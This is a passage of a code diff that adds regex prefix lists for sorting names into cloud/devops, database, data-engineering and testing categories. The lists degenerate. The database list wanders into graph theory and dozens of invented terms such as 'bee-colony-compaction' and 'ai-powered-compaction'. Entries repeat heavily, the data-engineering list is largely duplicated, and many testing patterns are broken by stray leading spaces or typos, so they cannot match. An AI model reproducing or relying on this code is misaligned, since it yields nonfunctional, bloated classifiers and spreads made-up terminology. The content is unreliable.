+ r"^layer[-_]?",
+ r"^registry[-_]?",
+ r"^harbor[-_]?",
+ r"^quay[-_]?",
+ r"^gcr[-_]?",
+ r"^acr[-_]?",
+ r"^ecr[-_]?",
+ r"^dockerhub[-_]?",
+ r"^ghcr[-_]?",
+ r"^serverless[-_]?",
+ r"^faas[-_]?",
+ r"^lambda[-_]?",
+ r"^function[-_]?",
+ r"^api[-_]?gateway[-_]?",
+ r"^apigateway[-_]?",
+ r"^cloudfront[-_]?",
+ r"^cloudflare[-_]?",
+ r"^fastly[-_]?",
+ r"^akamai[-_]?",
+ r"^vercel[-_]?",
+ r"^netlify[-_]?",
+ r"^heroku[-_]?",
+ r"^railway[-_]?",
+ r"^render[-_]?",
+ r"^fly[-_]?io",
+ r"^digitalocean[-_]?",
+ r"^linode[-_]?",
+ r"^vultr[-_]?",
+ r"^ovh[-_]?",
+ r"^hetzner[-_]?",
+ r"^scaleway[-_]?",
+ r"^upcloud[-_]?",
+ r"^aws[-_]?ec2",
+ r"^aws[-_]?ecs",
+ r"^aws[-_]?eks",
+ r"^aws[-_]?fargate",
+ r"^gce[-_]?",
+ r"^gke[-_]?",
+ r"^aks[-_]?",
+ r"^ec2[-_]?",
+ r"^ecs[-_]?",
+ r"^eks[-_]?",
+ r"^fargate[-_]?",
+ r"^lambda[-_]?",
+ r"^cloud[-_]?run",
+ r"^cloud[-_]?functions",
+ r"^azure[-_]?functions",
+ r"^openfaas[-_]?",
+ r"^knative[-_]?",
+ r"^kubeless[-_]?",
+ r"^fission[-_]?",
+ r"^nuclio[-_]?",
+ r"^nuage[-_]?",
+ r"^os[-_]?",
+ r"^rancher[-_]?",
+ r"^openshift[-_]?",
+ r"^okd[-_]?",
+ r"^tanzu[-_]?",
+ r"^anthos[-_]?",
+ r"^eks[-_]?anywhere",
+ r"^gke[-_]?on[-_]?prem",
+ r"^azure[-_]?stack",
+ r"^aws[-_]?outposts",
+ r"^hybrid[-_]?cloud",
+ r"^multi[-_]?cloud",
+ r"^edge[-_]?computing",
+ r"^iot[-_]?",
+ r"^greengrass[-_]?",
+ r"^iot[-_]?core",
+ r"^iot[-_]?edge",
+ r"^iot[-_]?hub",
+ r"^event[-_]?grid",
+ r"^event[-_]?hub",
+ r"^sns[-_]?",
+ r"^sqs[-_]?",
+ r"^kinesis[-_]?",
+ r"^pub[-_]?sub[-_]?",
+ r"^cloud[-_]?pubsub",
+ r"^service[-_]?bus",
+ r"^eventbridge[-_]?",
+ r"^step[-_]?functions",
+ r"^sfn[-_]?",
+ r"^state[-_]?machine",
+ r"^workflow[-_]?orchestration",
+ r"^argo[-_]?",
+ r"^tekton[-_]?",
+ r"^jenkins[-_]?",
+ r"^gitlab[-_]?ci",
+ r"^github[-_]?actions",
+ r"^circleci[-_]?",
+ r"^travis[-_]?",
+ r"^bamboo[-_]?",
+ r"^teamcity[-_]?",
+ r"^drone[-_]?",
+ r"^concourse[-_]?",
+ r"^spinnaker[-_]?",
+ r"^flux[-_]?",
+ r"^flagger[-_]?",
+ r"^keptn[-_]?",
+ r"^litmus[-_]?",
+ r"^chaos[-_]?",
+ r"^gremlin[-_]?",
+ r"^chaosmonkey[-_]?",
+ r"^steadybit[-_]?",
+ r"^gremlin[-_]?",
+ r"^pumba[-_]?",
+ r"^powerfulseal[-_]?",
+ r"^chaos[-_]?mesh",
+ r"^litmus[-_]?",
+ r"^netem[-_]?",
+ r"^toxiproxy[-_]?",
+ r"^blockade[-_]?",
+ r"^istio[-_]?",
+ r"^linkerd[-_]?",
+ r"^consul[-_]?connect",
+ r"^aws[-_]?app[-_]?mesh",
+ r"^traefik[-_]?mesh",
+ r"^maesh[-_]?",
+ r"^kuma[-_]?",
+ r"^osm[-_]?",
+ r"^cilium[-_]?",
+ r"^calico[-_]?",
+ r"^flannel[-_]?",
+ r"^weave[-_]?",
+ r"^cni[-_]?",
+ r"^cilium[-_]?",
+ r"^network[-_]?policy",
+ r"^egress[-_]?",
+ r"^ingress[-_]?",
+ r"^load[-_]?balancer",
+ r"^metal[-_]?lb",
+ r"^nginx[-_]?ingress",
+ r"^traefik[-_]?ingress",
+ r"^haproxy[-_]?ingress",
+ r"^kong[-_]?ingress",
+ r"^ambassador[-_]?ingress",
+ r"^gloo[-_]?",
+ r"^supergloo[-_]?",
+ r"^servicecatalog[-_]?",
+ r"^crossplane[-_]?",
+ r"^kUDO[-_]?",
+ r"^operator[-_]?sdk",
+ r"^kopf[-_]?",
+ r"^shell[-_]?operator",
+ r"^helm[-_]?operator",
+ r"^operator[-_]?lifecycle",
+ r"^olm[-_]?",
+ r"^csv[-_]?",
+ r"^subscription[-_]?",
+ r"^installplan[-_]?",
+ r"^catalogsource[-_]?",
+ r"^packagemanifest[-_]?",
+ r"^scorecard[-_]?",
+ r"^bundle[-_]?",
+ r"^index[-_]?image",
+ ]),
+
+ # Database
+ ("database", [
+ r"^postgres",
+ r"^mysql",
+ r"^mongo",
+ r"^redis",
+ r"^cassandra",
+ r"^cockroach",
+ r"^cockroachdb",
+ r"^yugabyte",
+ r"^tidb",
+ r"^vitess",
+ r"^planetscale",
+ r"^neon",
+ r"^supabase",
+ r"^fauna",
+ r"^hasura",
+ r"^prisma",
+ r"^drizzle",
+ r"^sequelize",
+ r"^typeorm",
+ r"^mongoose",
+ r"^jpa",
+ r"^hibernate",
+ r"^sql[-_]?",
+ r"^nosql[-_]?",
+ r"^db[-_]?",
+ r"^database[-_]?",
+ r"^orm[-_]?",
+ r"^query[-_]?",
+ r"^index[-_]?",
+ r"^migration[-_]?",
+ r"^schema[-_]?",
+ r"^table[-_]?",
+ r"^column[-_]?",
+ r"^row[-_]?",
+ r"^record[-_]?",
+ r"^entity[-_]?",
+ r"^relation[-_]?",
+ r"^join[-_]?",
+ r"^transaction[-_]?",
+ r"^acid[-_]?",
+ r"^consistency[-_]?",
+ r"^isolation[-_]?",
+ r"^durability[-_]?",
+ r"^locking[-_]?",
+ r"^concurrency[-_]?",
+ r"^sharding[-_]?",
+ r"^partition[-_]?",
+ r"^replication[-_]?",
+ r"^failover[-_]?",
+ r"^backup[-_]?",
+ r"^restore[-_]?",
+ r"^dump[-_]?",
+ r"^import[-_]?",
+ r"^export[-_]?",
+ r"^etl[-_]?",
+ r"^elt[-_]?",
+ r"^cdc[-_]?",
+ r"^change[-_]?data[-_]?capture",
+ r"^wal[-_]?",
+ r"^write[-_]?ahead[-_]?log",
+ r"^binlog[-_]?",
+ r"^redo[-_]?log",
+ r"^undo[-_]?log",
+ r"^checkpoint[-_]?",
+ r"^vacuum[-_]?",
+ r"^analyze[-_]?",
+ r"^optimize[-_]?",
+ r"^defragment[-_]?",
+ r"^rebuild[-_]?",
+ r"^reorganize[-_]?",
+ r"^compact[-_]?",
+ r"^compress[-_]?",
+ r"^encrypt[-_]?",
+ r"^tde[-_]?",
+ r"^transparent[-_]?data[-_]?encryption",
+ r"^ssl[-_]?",
+ r"^tls[-_]?",
+ r"^certificate[-_]?",
+ r"^auth[-_]?",
+ r"^rbac[-_]?",
+ r"^row[-_]?level[-_]?security",
+ r"^rls[-_]?",
+ r"^view[-_]?",
+ r"^materialized[-_]?view",
+ r"^trigger[-_]?",
+ r"^stored[-_]?procedure",
+ r"^function[-_]?",
+ r"^cursor[-_]?",
+ r"^sequence[-_]?",
+ r"^identity[-_]?",
+ r"^auto[-_]?increment",
+ r"^uuid[-_]?",
+ r"^guid[-_]?",
+ r"^primary[-_]?key",
+ r"^foreign[-_]?key",
+ r"^unique[-_]?key",
+ r"^composite[-_]?key",
+ r"^natural[-_]?key",
+ r"^surrogate[-_]?key",
+ r"^candidate[-_]?key",
+ r"^alternate[-_]?key",
+ r"^super[-_]?key",
+ r"^minimal[-_]?superkey",
+ r"^normalization[-_]?",
+ r"^denormalization[-_]?",
+ r"^first[-_]?normal[-_]?form",
+ r"^second[-_]?normal[-_]?form",
+ r"^third[-_]?normal[-_]?form",
+ r"^bcnf[-_]?",
+ r"^fourth[-_]?normal[-_]?form",
+ r"^fifth[-_]?normal[-_]?form",
+ r"^dknf[-_]?",
+ r"^domain[-_]?key[-_]?normal[-_]?form",
+ r"^sixth[-_]?normal[-_]?form",
+ r"^join[-_]?dependency",
+ r"^multivalued[-_]?dependency",
+ r"^functional[-_]?dependency",
+ r"^transitive[-_]?dependency",
+ r"^partial[-_]?dependency",
+ r"^full[-_]?functional[-_]?dependency",
+ r"^trivial[-_]?dependency",
+ r"^non[-_]?trivial[-_]?dependency",
+ r"^armstrong[-_]?axiom",
+ r"^closure[-_]?",
+ r"^canonical[-_]?cover",
+ r"^minimal[-_]?cover",
+ r"^redundant[-_]?attribute",
+ r"^extraneous[-_]?attribute",
+ r"^decomposition[-_]?",
+ r"^lossless[-_]?join",
+ r"^dependency[-_]?preservation",
+ r"^chase[-_]?algorithm",
+ r"^tableau[-_]?",
+ r"^fd[-_]?",
+ r"^mvd[-_]?",
+ r"^jdep[-_]?",
+ r"^ind[-_]?",
+ r"^inclusion[-_]?dependency",
+ r"^eq[-_]?",
+ r"^equality[-_]?generating[-_]?dependency",
+ r"^tgd[-_]?",
+ r"^tuple[-_]?generating[-_]?dependency",
+ r"^egd[-_]?",
+ r"^embedded[-_]?dependency",
+ r"^full[-_]?dependency",
+ r"^embedded[-_]?multivalued[-_]?dependency",
+ r"^nested[-_]?multivalued[-_]?dependency",
+ r"^acyclic[-_]?schema",
+ r"^alpha[-_]?acyclic",
+ r"^beta[-_]?acyclic",
+ r"^gamma[-_]?acyclic",
+ r"^berge[-_]?acyclic",
+ r"^ Graham[-_]?reduction",
+ r"^gyo[-_]?algorithm",
+ r"^hypergraph[-_]?",
+ r"^join[-_]?tree",
+ r"^connected[-_]?component",
+ r"^biconnected[-_]?component",
+ r"^triconnected[-_]?component",
+ r"^block[-_]?cut[-_]?vertex[-_]?tree",
+ r"^spqr[-_]?tree",
+ r"^modular[-_]?decomposition",
+ r"^split[-_]?decomposition",
+ r"^cograph[-_]?",
+ r"^permutation[-_]?graph",
+ r"^comparability[-_]?graph",
+ r"^interval[-_]?graph",
+ r"^chordal[-_]?graph",
+ r"^perfect[-_]?graph",
+ r"^threshold[-_]?graph",
+ r"^split[-_]?graph",
+ r"^cograph[-_]?",
+ r"^pq[-_]?tree",
+ r"^pc[-_]?tree",
+ r"^uq[-_]?tree",
+ r"^mdd[-_]?",
+ r"^multi[-_]?valued[-_]?decision[-_]?diagram",
+ r"^bdd[-_]?",
+ r"^binary[-_]?decision[-_]?diagram",
+ r"^ro[-_]?bdd",
+ r"^reduced[-_]?ordered[-_]?bdd",
+ r"^zdd[-_]?",
+ r"^zero[-_]?suppressed[-_]?bdd",
+ r"^fbdd[-_]?",
+ r"^free[-_]?bdd",
+ r"^obdd[-_]?",
+ r"^ordered[-_]?bdd",
+ r"^sbdd[-_]?",
+ r"^shared[-_]?bdd",
+ r"^tbdd[-_]?",
+ r"^tagged[-_]?bdd",
+ r"^index[-_]?structure",
+ r"^b[-_]?tree[-_]?",
+ r"^b[+-]?tree[-_]?",
+ r"^btree[-_]?",
+ r"^lsm[-_]?tree[-_]?",
+ r"^log[-_]?structured[-_]?merge[-_]?tree",
+ r"^sstable[-_]?",
+ r"^sorted[-_]?string[-_]?table",
+ r"^memtable[-_]?",
+ r"^immutable[-_]?memtable",
+ r"^flush[-_]?",
+ r"^compaction[-_]?",
+ r"^leveled[-_]?compaction",
+ r"^tiered[-_]?compaction",
+ r"^size[-_]?tiered[-_]?compaction",
+ r"^time[-_]?tiered[-_]?compaction",
+ r"^date[-_]?tiered[-_]?compaction",
+ r"^fifo[-_]?compaction",
+ r"^universal[-_]?compaction",
+ r"^incremental[-_]?compaction",
+ r"^partial[-_]?compaction",
+ r"^subcompaction[-_]?",
+ r"^parallel[-_]?compaction",
+ r"^online[-_]?compaction",
+ r"^offline[-_]?compaction",
+ r"^manual[-_]?compaction",
+ r"^automatic[-_]?compaction",
+ r"^scheduled[-_]?compaction",
+ r"^triggered[-_]?compaction",
+ r"^adaptive[-_]?compaction",
+ r"^dynamic[-_]?compaction",
+ r"^static[-_]?compaction",
+ r"^heuristic[-_]?compaction",
+ r"^learning[-_]?based[-_]?compaction",
+ r"^ml[-_]?driven[-_]?compaction",
+ r"^ai[-_]?powered[-_]?compaction",
+ r"^neural[-_]?compaction",
+ r"^deep[-_]?compaction",
+ r"^reinforcement[-_]?learning[-_]?compaction",
+ r"^genetic[-_]?algorithm[-_]?compaction",
+ r"^simulated[-_]?annealing[-_]?compaction",
+ r"^particle[-_]?swarm[-_]?compaction",
+ r"^ant[-_]?colony[-_]?compaction",
+ r"^bee[-_]?colony[-_]?compaction",
+ r"^firefly[-_]?algorithm[-_]?compaction",
+ r"^bat[-_]?algorithm[-_]?compaction",
+ r"^cuckoo[-_]?search[-_]?compaction",
+ r"^harmony[-_]?search[-_]?compaction",
+ r"^memetic[-_]?algorithm[-_]?compaction",
+ r"^cultural[-_]?algorithm[-_]?compaction",
+ r"^differential[-_]?evolution[-_]?compaction",
+ r"^evolutionary[-_]?strategy[-_]?compaction",
+ r"^covariance[-_]?matrix[-_]?adaptation[-_]?compaction",
+ r"^natural[-_]?evolution[-_]?strategy[-_]?compaction",
+ r"^estimation[-_]?of[-_]?distribution[-_]?algorithm[-_]?compaction",
+ r"^cross[-_]?entropy[-_]?method[-_]?compaction",
+ r"^population[-_]?based[-_]?incremental[-_]?learning[-_]?compaction",
+ r"^compact[-_]?genetic[-_]?algorithm[-_]?compaction",
+ r"^bayesian[-_]?optimization[-_]?compaction",
+ r"^gaussian[-_]?process[-_]?compaction",
+ r"^surrogate[-_]?model[-_]?compaction",
+ r"^multi[-_]?fidelity[-_]?compaction",
+ r"^transfer[-_]?learning[-_]?compaction",
+ r"^meta[-_]?learning[-_]?compaction",
+ r"^few[-_]?shot[-_]?learning[-_]?compaction",
+ r"^zero[-_]?shot[-_]?learning[-_]?compaction",
+ r"^one[-_]?shot[-_]?learning[-_]?compaction",
+ r"^many[-_]?shot[-_]?learning[-_]?compaction",
+ r"^active[-_]?learning[-_]?compaction",
+ r"^online[-_]?learning[-_]?compaction",
+ r"^incremental[-_]?learning[-_]?compaction",
+ r"^continual[-_]?learning[-_]?compaction",
+ r"^lifelong[-_]?learning[-_]?compaction",
+ r"^never[-_]?ending[-_]?learning[-_]?compaction",
+ r"^open[-_]?ended[-_]?learning[-_]?compaction",
+ r"^curriculum[-_]?learning[-_]?compaction",
+ r"^self[-_]?paced[-_]?learning[-_]?compaction",
+ r"^bootstrap[-_]?learning[-_]?compaction",
+ r"^co[-_]?training[-_]?compaction",
+ r"^multi[-_]?view[-_]?learning[-_]?compaction",
+ r"^multi[-_]?task[-_]?learning[-_]?compaction",
+ r"^transfer[-_]?learning[-_]?compaction",
+ r"^domain[-_]?adaptation[-_]?compaction",
+ r"^domain[-_]?generalization[-_]?compaction",
+ r"^out[-_]?of[-_]?distribution[-_]?detection[-_]?compaction",
+ r"^anomaly[-_]?detection[-_]?compaction",
+ r"^novelty[-_]?detection[-_]?compaction",
+ r"^change[-_]?detection[-_]?compaction",
+ r"^concept[-_]?drift[-_]?detection[-_]?compaction",
+ r"^model[-_]?drift[-_]?detection[-_]?compaction",
+ r"^data[-_]?drift[-_]?detection[-_]?compaction",
+ r"^feature[-_]?drift[-_]?detection[-_]?compaction",
+ r"^prediction[-_]?drift[-_]?detection[-_]?compaction",
+ r"^label[-_]?drift[-_]?detection[-_]?compaction",
+ r"^class[-_]?imbalance[-_]?detection[-_]?compaction",
+ r"^long[-_]?tail[-_]?distribution[-_]?detection[-_]?compaction",
+ r"^skew[-_]?detection[-_]?compaction",
+ r"^bias[-_]?detection[-_]?compaction",
+ r"^fairness[-_]?detection[-_]?compaction",
+ r"^equity[-_]?detection[-_]?compaction",
+ r"^inclusion[-_]?detection[-_]?compaction",
+ r"^diversity[-_]?detection[-_]?compaction",
+ r"^representation[-_]?detection[-_]?compaction",
+ r"^sample[-_]?detection[-_]?compaction",
+ r"^outlier[-_]?detection[-_]?compaction",
+ r"^inlier[-_]?detection[-_]?compaction",
+ r"^novelty[-_]?detection[-_]?compaction",
+ r"^anomaly[-_]?detection[-_]?compaction",
+ ]),
+
+ # Data Engineering
+ ("data-engineering", [
+ r"^data[-_]?engineer",
+ r"^data[-_]?pipeline",
+ r"^data[-_]?integration",
+ r"^data[-_]?migration",
+ r"^data[-_]?transformation",
+ r"^data[-_]?validation",
+ r"^data[-_]?quality",
+ r"^data[-_]?cleaning",
+ r"^data[-_]?preparation",
+ r"^data[-_]?wrangling",
+ r"^data[-_]?munging",
+ r"^airflow[-_]?",
+ r"^prefect[-_]?",
+ r"^dagster[-_]?",
+ r"^luigi[-_]?",
+ r"^pinball[-_]?",
+ r"^oozie[-_]?",
+ r"^azkaban[-_]?",
+ r"^conductor[-_]?",
+ r"^temporal[-_]?",
+ r"^cadence[-_]?",
+ r"^argo[-_]?workflows",
+ r"^tekton[-_]?",
+ r"^kubeflow[-_]?",
+ r"^mlflow[-_]?",
+ r"^metaflow[-_]?",
+ r"^dbt[-_]?",
+ r"^dataform[-_]?",
+ r"^looker[-_]?",
+ r"^tableau[-_]?",
+ r"^power[-_]?bi[-_]?",
+ r"^qlik[-_]?",
+ r"^sisense[-_]?",
+ r"^domo[-_]?",
+ r"^microstrategy[-_]?",
+ r"^cognos[-_]?",
+ r"^business[-_]?objects[-_]?",
+ r"^sas[-_]?",
+ r"^spss[-_]?",
+ r"^stata[-_]?",
+ r"^mplus[-_]?",
+ r"^r[-_]?studio[-_]?",
+ r"^jupyter[-_]?",
+ r"^zeppelin[-_]?",
+ r"^databricks[-_]?",
+ r"^snowflake[-_]?",
+ r"^bigquery[-_]?",
+ r"^redshift[-_]?",
+ r"^synapse[-_]?",
+ r"^dremio[-_]?",
+ r"^presto[-_]?",
+ r"^trino[-_]?",
+ r"^drill[-_]?",
+ r"^impala[-_]?",
+ r"^hive[-_]?",
+ r"^pig[-_]?",
+ r"^spark[-_]?",
+ r"^flink[-_]?",
+ r"^storm[-_]?",
+ r"^samza[-_]?",
+ r"^heron[-_]?",
+ r"^kafka[-_]?streams",
+ r"^kafka[-_]?connect",
+ r"^ksql[-_]?",
+ r"^pulsar[-_]?",
+ r"^rocketmq[-_]?",
+ r"^activemq[-_]?",
+ r"^rabbitmq[-_]?",
+ r"^zeromq[-_]?",
+ r"^nats[-_]?",
+ r"^redis[-_]?streams",
+ r"^aws[-_]?kinesis",
+ r"^google[-_]?pubsub",
+ r"^azure[-_]?event[-_]?hubs",
+ r"^datadog[-_]?",
+ r"^newrelic[-_]?",
+ r"^splunk[-_]?",
+ r"^elk[-_]?",
+ r"^elastic[-_]?",
+ r"^logstash[-_]?",
+ r"^kibana[-_]?",
+ r"^grafana[-_]?",
+ r"^prometheus[-_]?",
+ r"^thanos[-_]?",
+ r"^cortex[-_]?",
+ r"^mimir[-_]?",
+ r"^loki[-_]?",
+ r"^tempo[-_]?",
+ r"^jaeger[-_]?",
+ r"^zipkin[-_]?",
+ r"^opentelemetry[-_]?",
+ r"^opentracing[-_]?",
+ r"^opencensus[-_]?",
+ r"^hadoop[-_]?",
+ r"^hdfs[-_]?",
+ r"^yarn[-_]?",
+ r"^mapreduce[-_]?",
+ r"^tez[-_]?",
+ r"^falcon[-_]?",
+ r"^nifi[-_]?",
+ r"^streamsets[-_]?",
+ r"^talend[-_]?",
+ r"^informatica[-_]?",
+ r"^pentaho[-_]?",
+ r"^kettle[-_]?",
+ r"^datastage[-_]?",
+ r"^ab[-_]?initio[-_]?",
+ r"^ssis[-_]?",
+ r"^dts[-_]?",
+ r"^replication[-_]?",
+ r"^cdc[-_]?",
+ r"^debezium[-_]?",
+ r"^maxwell[-_]?",
+ r"^canal[-_]?",
+ r"^databus[-_]?",
+ r"^singer[-_]?",
+ r"^meltano[-_]?",
+ r"^airbyte[-_]?",
+ r"^fivetran[-_]?",
+ r"^stitch[-_]?",
+ r"^segment[-_]?",
+ r"^rudderstack[-_]?",
+ r"^snowplow[-_]?",
+ r"^matillion[-_]?",
+ r"^hevo[-_]?",
+ r"^blendo[-_]?",
+ r"^integrate[-_]?io",
+ r"^xplenty[-_]?",
+ r"^etleap[-_]?",
+ r"^panoply[-_]?",
+ r"^funnel[-_]?io",
+ r"^warehouselabs[-_]?",
+ r"^sc Ware[-_]?",
+ r"^keboola[-_]?",
+ r"^domo[-_]?",
+ r"^periscope[-_]?",
+ r"^mode[-_]?",
+ r"^looker[-_]?",
+ r"^metabase[-_]?",
+ r"^redash[-_]?",
+ r"^superset[-_]?",
+ r"^preset[-_]?",
+ r"^lightdash[-_]?",
+ r"^evidence[-_]?",
+ r"^hex[-_]?",
+ r"^count[-_]?",
+ r"^glean[-_]?",
+ r"^thoughtspot[-_]?",
+ r"^tellius[-_]?",
+ r"^sisu[-_]?",
+ r"^incorta[-_]?",
+ r"^atscale[-_]?",
+ r"^datameer[-_]?",
+ r"^platfora[-_]?",
+ r"^clearstory[-_]?",
+ r"^alation[-_]?",
+ r"^collibra[-_]?",
+ r"^informatica[-_]?",
+ r"^axelon[-_]?",
+ r"^waterline[-_]?",
+ r"^unifi[-_]?",
+ r"^datahub[-_]?",
+ r"^amundsen[-_]?",
+ r"^marquez[-_]?",
+ r"^openlineage[-_]?",
+ r"^great[-_]?expectations[-_]?",
+ r"^soda[-_]?",
+ r"^deequ[-_]?",
+ r"^monte[-_]?carlo[-_]?",
+ r"^bigeye[-_]?",
+ r"^anomalo[-_]?",
+ r"^metaplane[-_]?",
+ r"^datafold[-_]?",
+ r"^data[-_]?diff[-_]?",
+ r"^pitometer[-_]?",
+ r"^acryl[-_]?",
+ r"^linkedin[-_]?",
+ r"^apache[-_]?",
+ r"^confluent[-_]?",
+ r"^cloudera[-_]?",
+ r"^hortonworks[-_]?",
+ r"^mapr[-_]?",
+ r"^databricks[-_]?",
+ r"^snowflake[-_]?",
+ r"^fivetran[-_]?",
+ r"^dbt[-_]?",
+ r"^looker[-_]?",
+ r"^tableau[-_]?",
+ r"^powerbi[-_]?",
+ r"^qlik[-_]?",
+ r"^sisense[-_]?",
+ r"^domo[-_]?",
+ r"^microstrategy[-_]?",
+ r"^cognos[-_]?",
+ r"^businessobjects[-_]?",
+ r"^sas[-_]?",
+ r"^spss[-_]?",
+ r"^stata[-_]?",
+ r"^mplus[-_]?",
+ r"^rstudio[-_]?",
+ r"^jupyter[-_]?",
+ r"^zeppelin[-_]?",
+ r"^dremio[-_]?",
+ r"^presto[-_]?",
+ r"^trino[-_]?",
+ r"^drill[-_]?",
+ r"^impala[-_]?",
+ r"^hive[-_]?",
+ r"^pig[-_]?",
+ r"^spark[-_]?",
+ r"^flink[-_]?",
+ r"^storm[-_]?",
+ r"^samza[-_]?",
+ r"^heron[-_]?",
+ r"^kafkastreams[-_]?",
+ r"^kafkaconnect[-_]?",
+ r"^ksql[-_]?",
+ r"^pulsar[-_]?",
+ r"^rocketmq[-_]?",
+ r"^activemq[-_]?",
+ r"^rabbitmq[-_]?",
+ r"^zeromq[-_]?",
+ r"^nats[-_]?",
+ r"^redisstreams[-_]?",
+ r"^awskinesis[-_]?",
+ r"^googlepubsub[-_]?",
+ r"^azureeventhubs[-_]?",
+ r"^datadog[-_]?",
+ r"^newrelic[-_]?",
+ r"^splunk[-_]?",
+ r"^elk[-_]?",
+ r"^elastic[-_]?",
+ r"^logstash[-_]?",
+ r"^kibana[-_]?",
+ r"^grafana[-_]?",
+ r"^prometheus[-_]?",
+ r"^thanos[-_]?",
+ r"^cortex[-_]?",
+ r"^mimir[-_]?",
+ r"^loki[-_]?",
+ r"^tempo[-_]?",
+ r"^jaeger[-_]?",
+ r"^zipkin[-_]?",
+ r"^opentelemetry[-_]?",
+ r"^opentracing[-_]?",
+ r"^opencensus[-_]?",
+ r"^hadoop[-_]?",
+ r"^hdfs[-_]?",
+ r"^yarn[-_]?",
+ r"^mapreduce[-_]?",
+ r"^tez[-_]?",
+ r"^falcon[-_]?",
+ r"^nifi[-_]?",
+ r"^streamsets[-_]?",
+ r"^talend[-_]?",
+ r"^informatica[-_]?",
+ r"^pentaho[-_]?",
+ r"^kettle[-_]?",
+ r"^datastage[-_]?",
+ r"^abinitio[-_]?",
+ r"^ssis[-_]?",
+ r"^dts[-_]?",
+ r"^replication[-_]?",
+ r"^cdc[-_]?",
+ r"^debezium[-_]?",
+ r"^maxwell[-_]?",
+ r"^canal[-_]?",
+ r"^databus[-_]?",
+ r"^singer[-_]?",
+ r"^meltano[-_]?",
+ r"^airbyte[-_]?",
+ r"^fivetran[-_]?",
+ r"^stitch[-_]?",
+ r"^segment[-_]?",
+ r"^rudderstack[-_]?",
+ r"^snowplow[-_]?",
+ r"^matillion[-_]?",
+ r"^hevo[-_]?",
+ r"^blendo[-_]?",
+ r"^integrate[-_]?io",
+ r"^xplenty[-_]?",
+ r"^etleap[-_]?",
+ r"^panoply[-_]?",
+ r"^funnel[-_]?io",
+ r"^warehouselabs[-_]?",
+ r"^scware[-_]?",
+ r"^keboola[-_]?",
+ r"^domo[-_]?",
+ r"^periscope[-_]?",
+ r"^mode[-_]?",
+ r"^looker[-_]?",
+ r"^metabase[-_]?",
+ r"^redash[-_]?",
+ r"^superset[-_]?",
+ r"^preset[-_]?",
+ r"^lightdash[-_]?",
+ r"^evidence[-_]?",
+ r"^hex[-_]?",
+ r"^count[-_]?",
+ r"^glean[-_]?",
+ r"^thoughtspot[-_]?",
+ r"^tellius[-_]?",
+ r"^sisu[-_]?",
+ r"^incorta[-_]?",
+ r"^atscale[-_]?",
+ r"^datameer[-_]?",
+ r"^platfora[-_]?",
+ r"^clearstory[-_]?",
+ r"^alation[-_]?",
+ r"^collibra[-_]?",
+ r"^axelon[-_]?",
+ r"^waterline[-_]?",
+ r"^unifi[-_]?",
+ r"^datahub[-_]?",
+ r"^amundsen[-_]?",
+ r"^marquez[-_]?",
+ r"^openlineage[-_]?",
+ r"^greatexpectations[-_]?",
+ r"^soda[-_]?",
+ r"^deequ[-_]?",
+ r"^montecarlo[-_]?",
+ r"^bigeye[-_]?",
+ r"^anomalo[-_]?",
+ r"^metaplane[-_]?",
+ r"^datafold[-_]?",
+ r"^datadiff[-_]?",
+ r"^pitometer[-_]?",
+ r"^acryl[-_]?",
+ ]),
+
+ # Testing & QA
+ ("testing-qa", [
+ r"[-_]?testing[-_]?",
+ r"^test[-_]?",
+ r"^qa[-_]?",
+ r"^quality[-_]?assurance[-_]?",
+ r"^playwright[-_]?",
+ r"^cypress[-_]?",
+ r"^selenium[-_]?",
+ r"^webdriver[-_]?",
+ r"^puppeteer[-_]?",
+ r"^jest[-_]?",
+ r"^vitest[-_]?",
+ r"^mocha[-_]?",
+ r"^jasmine[-_]?",
+ r"^karma[-_]?",
+ r"^ava[-_]?",
+ r"^tap[-_]?",
+ r"^tape[-_]?",
+ r"^lab[-_]?",
+ r"^codecept[-_]?",
+ r"^nightwatch[-_]?",
+ r"^protractor[-_]?",
+ r"^webdriverio[-_]?",
+ r"^appium[-_]?",
+ r"^detox[-_]?",
+ r"^calabash[-_]?",
+ r"^espresso[-_]?",
+ r"^xcui[-_]?",
+ r"^ EarlGrey[-_]?",
+ r"^kif[-_]?",
+ r"^frank[-_]?",
+ r"^zucchini[-_]?",
+ r"^kiwi[-_]?",
+ r"^gherkin[-_]?",
+ r"^cucumber[-_]?",
+ r"^behat[-_]?",
+ r"^specflow[-_]?",
+ r"^gauge[-_]?",
+ r"^turnip[-_]?",
+ r"^spinach[-_]?",
+ r"^lettuce[-_]?",
+ r"^ freshen[-_]?",
+ r"^ pytest[-_]?bdd",
+ r"^ behave[-_]?",
+ r"^ radish[-_]?",
+ r"^ pytest[-_]?",
+ r"^ unittest[-_]?",
+ r"^ nose[-_]?",
+ r"^ doctest[-_]?",
+ r"^ trial[-_]?",
+ r"^ testify[-_]?",
+ r"^ gocheck[-_]?",
+ r"^ ginkgo[-_]?",
+ r"^ gomega[-_]?",
+ r"^ testify[-_]?",
+ r"^ assert[-_]?",
+ r"^ hamcrest[-_]?",
+ r"^ truth[-_]?",
+ r"^ assertj[-_]?",
+ r"^ fest[-_]?",
+ r"^ jmock[-_]?",
+ r"^ mockito[-_]?",
+ r"^ powermock[-_]?",
+ r"^ easymock[-_]?",
+ r"^ wiremock[-_]?",
+ r"^ mockserver[-_]?",
+ r"^ mountebank[-_]?",
+ r"^ pact[-_]?",
+ r"^ spring[-_]?contract",
+ r"^ consumer[-_]?driven[-_]?contract",
+ r"^ cdc[-_]?",
+ r"^ pactflow[-_]?",
+ r"^ broker[-_]?",
+ r"^ verification[-_]?",
+ r"^ stub[-_]?",
+ r"^ mock[-_]?",
+ r"^ fake[-_]?",
+ r"^ spy[-_]?",
+ r"^ double[-_]?",
+ r"^ dummy[-_]?",
+ r"^ fixture[-_]?",
+ r"^ factory[-_]?",
+ r"^ builder[-_]?",
+ r"^ object[-_]?mother",
+ r"^ test[-_]?data",
+ r"^ seed[-_]?",
+ r"^ faker[-_]?",
+ r"^ chance[-_]?",
+ r"^ randexp[-_]?",
+ r"^ casual[-_]?",
+ r"^ mockaroo[-_]?",
+ r"^ t[-_]?rex[-_]?",
+ r"^ factory[-_]?boy[-_]?",
+ r"^ model[-_]?mommy",
+ r"^ machinist[-_]?",
+ r"^ fabrication[-_]?",
+ r"^ blueprints[-_]?",
+ r"^ ex[-_]?machina[-_]?",
+ r"^ blacksmith[-_]?",
+ r"^ parrot[-_]?",
+ r"^ forgery[-_]?",
+ r"^ ffaker[-_]?",
+ r"^ ffaker[-_]?",
+ r"^ bogus[-_]?",
+ r"^ autodoc[-_]?",
+ r"^ rswag[-_]?",
+ r"^ swagger[-_]?spec",
+ r"^ grape[-_]?swagger",
+ r"^ flasgger[-_]?",
